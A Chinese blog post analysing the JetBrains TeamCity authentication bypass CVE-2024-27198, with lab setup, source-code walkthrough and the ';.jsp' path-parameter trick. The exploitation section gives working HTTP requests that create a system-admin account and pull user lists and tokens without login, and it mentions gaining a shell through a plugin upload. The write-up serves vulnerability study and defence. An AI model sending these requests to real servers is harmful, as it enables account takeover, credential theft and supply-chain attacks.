当前位置:首页>网络安全>WEB安全>CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

释放双眼,带上耳机,听听看~!
  • 漏洞分析

JetBrains TeamCity发布新版本(2023.11.4)修复了两个高危漏洞JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)与JetBrains TeamCity 路径遍历漏洞(CVE-2024-27199)。未经身份验证的远程攻击者利用CVE-2024-27198可以绕过系统身份验证,创建管理员账户,完全控制所有TeamCity项目、构建、代理和构件,为攻击者执行供应链攻击。远程攻击者利用该漏洞能够绕过身份认证在系统上执行任意代码。

简介

JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付(CI/CD)服务器。JetBrains TeamCity发布新版本(2023.11.4)修复了两个高危漏洞JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)与JetBrains TeamCity 路径遍历漏洞(CVE-2024-27199)。未经身份验证的远程攻击者利用CVE-2024-27198可以绕过系统身份验证,创建管理员账户,完全控制所有TeamCity项目、构建、代理和构件,为攻击者执行供应链攻击。远程攻击者利用该漏洞能够绕过身份认证在系统上执行任意代码。

环境搭建

参考下面链接,使用docker搭建环境

https://github.com/W01fh4cker/CVE-2024-27198-RCE?tab=readme-ov-file
sudo docker pull jetbrains/teamcity-server:2023.11.3  
sudo docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3

也可以使用下面docker-compose.yml ,其中5005是调试端口

version: '3.8'  
services:  
  teamcity:  
    image: jetbrains/teamcity-server:2023.11.3  
    container_name: teamcity  
    ports:  
      - "8111:8111"  
      - "5005:5005"  
    user: root

将源码拖出来

docker cp b0:/opt/teamcity ./

通过查看目录发现其中它是使用了tomcat,主要的代码在teamcity/webapps/ROOT/里面

修改catalina.sh,添加调试 (docker内的java版本是17)

CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"

然后将这个文件覆盖docker里面的catalina.sh

docker cp ./teamcity/bin/catalina.sh b0:/opt/teamcity/bin 

重启即可使用IDEA调试

漏洞分析

JetBrains TeamCity 业务请求的分发处位于类 jetbrains.buildServer.controllers.BaseController,漏洞点就在这个类下的handleRequestInternal

方法

public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {  
    try {  
        ModelAndView modelAndView = this.doHandle(request, response);  
        if (modelAndView != null) {  
            if (modelAndView.getView() instanceof RedirectView) {  
                modelAndView.getModel().clear();  
            } else {  
                this.updateViewIfRequestHasJspParameter(request, modelAndView);  
            }  
        }  

        return modelAndView;  
    } catch (AccessDeniedException var8) {  
        ......  
    }

简单的查看一下代码

首先调用doHandle方法来获取请求的视图和模型,如果modelAndView为空,则直接返回,如果不为空则进入判断

在if语句里面还有一个判断,如果请求没有被重定向(即处理程序没有发出HTTP 302重定向),那么将调用updateViewIfRequestHasJspParameter方法

跟进这个方法查看:

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {  
    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");  
    String jspFromRequest = this.getJspFromRequest(request);  
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {  
        modelAndView.setViewName(jspFromRequest);  
    }  

}  

protected String getJspFromRequest(@NotNull HttpServletRequest request) {  
        String jspFromRequest = request.getParameter("jsp");  
        return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin") ? jspFromRequest : null;  
    }

跟进上面代码可以发现modelAndView.setViewName(jspFromRequest) ,如果可以控制jspFromRequest那么就可以访问一些需要认证的路径,jspFromRequest来自GET参数jsp

但是需要满足一些条件:

jsp参数需要满足以.jsp结尾,并且参数不能存在字符串admin/

如果当前的modelAndView具有视图名称,并且当前请求的servlet路径不以.jsp结尾,变量isControllerRequestWithViewName才会设置为true

还有jsp参数所指的路径不能和modelAndView视图名称相同

就使用登录页调试login.html一下,设置参数?jsp=/app/rest/server

为什么使用jsp=/app/rest/server? 因为/app/rest/server这个路径是TeamCity REST API是需要认证才能访问的,

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

如果直接访问会401,最后访问的是/unauthorized.html

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

在web.xml中有写各个状态码对应的页面

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

OK 回归正题,调试分析

GET /login.html?jsp=/app/rest/server
CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

获取到了视图

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

因为modelAndView.getView()结果为null,进入到了updateViewIfRequestHasJspParameter中,跟进

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

第一步因为modelAndView.getViewName()=login.jsp不为空和 request.getServletPath()=login.html不以.jsp结尾 ,所以isControllerRequestWithViewName = true

往下获取jsp参数

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

因为传入的参数/app/rest/server不以.jsp结尾,导致返回null

这里该如何绕过?

跟据网传的payload,只需要在参数后面添加;.jsp即可绕过,原理后面有解释

GET /login.html?jsp=/app/rest/server;.jsp

获取到jsp参数值后,往下进入了modelAndView.setViewName

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析
 public void setViewName(@Nullable String viewName) {  
        this.view = viewName;  
    }

这个方法会将该对象的参数view更新为jsp的参数值

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

然后在org.springframework.web.servlet.DispatcherServletresolveViewName方法进行视图渲染 , 得到 JstlView 类型的 view

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

后面在执行获取视图路径的 RequestDispatcher 过程中,在org.apache.catalina.core.ApplicationContext里面的getRequestDispatcher方法会对url作如下处理:

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

其中 stripPathParams 方法会将 uri 中出现 ; 及其之后的部分去除,因此最后请求 path 变为了 /app/rest/server ,进而绕过鉴权

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

整个漏洞利用过程大概就是这样子

上面我使用的路径是/login.html,在网传的payload中都是通过访问一个不存在的路径触发404,然后servlet路径为/404.html ,进而使isControllerRequestWithViewName为true

CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

漏洞利用

漏洞利用主要看的是API的功能,上面访问的/app/rest/server的返回了很多API

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>  
<server version="2023.11.3 (build 147512)" versionMajor="2023" versionMinor="11" startTime="20240309T055615+0000" currentTime="20240309T082334+0000" buildNumber="147512" buildDate="20240129T000000+0000" internalId="9ef67929-e0cc-4182-b4b0-34d4ec728f42" role="main_node" webUrl="http://localhost:8111" artifactsUrl=""\>  
    <projects href="/app/rest/projects"/>  
    <vcsRoots href="/app/rest/vcs-roots"/>  
    <builds href="/app/rest/builds"/>  
    <users href="/app/rest/users"/>  
    <userGroups href="/app/rest/userGroups"/>  
    <agents href="/app/rest/agents"/>  
    <buildQueue href="/app/rest/buildQueue"/>  
    <agentPools href="/app/rest/agentPools"/>  
    <investigations href="/app/rest/investigations"/>  
    <mutes href="/app/rest/mutes"/>  
    <nodes href="/app/rest/server/nodes"/>  
</server>

添加管理员用户:

POST /xxx?jsp=/app/rest/users;.jsp HTTP/1.1  
Host:   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36  
Accept: */*  
Content-Type: application/json  
Accept-Encoding: gzip, deflate  
​  
{"username": "用户名", "password": "密码", "email": "test@n.com", "roles": {"role": \[{"roleId": "SYSTEM\_ADMIN", "scope": "g"}\]}}
CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

获取用户列表

GET /xxx?jsp=/app/rest/users;.jsp HTTP/1.1  
Host:   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36  
Accept: \*/\*  
Content-Type: application/json  
Accept-Encoding: gzip, deflate
CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

根据用户ID,获取用户token

GET /xxx?jsp=/app/rest/users/id:1/tokens/HaxorToken;.jsp HTTP/1.1  
Host:   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36  
Accept: \*/\*  
Content-Type: application/json  
Accept-Encoding: gzip, deflate
CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析

要实现RCE,就要通过第一个payload创建一个管理员用户,然后进到系统里面利用TeamCity的插件功能,上传自己写的插件进行getshell

END

给TA打赏
共{{data.count}}人
人已打赏
WEB安全网络安全

若依最新版后台RCE

2024-3-18 21:58:53

网络安全

对本行政区域内电信业务经营者与互联网信息服务提供者落实网络与信息安全法律要求情况实施监督检查

2024-3-18 22:14:12

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索

你已经到达了世界的尽头

  • 80

    文章数目

  • 53

    注册用户

  • 7

    总评论数

  • 325

    建站天数

  • 55215

    总访问量

  • 波浪
  • 波浪
  • 波浪
  • 波浪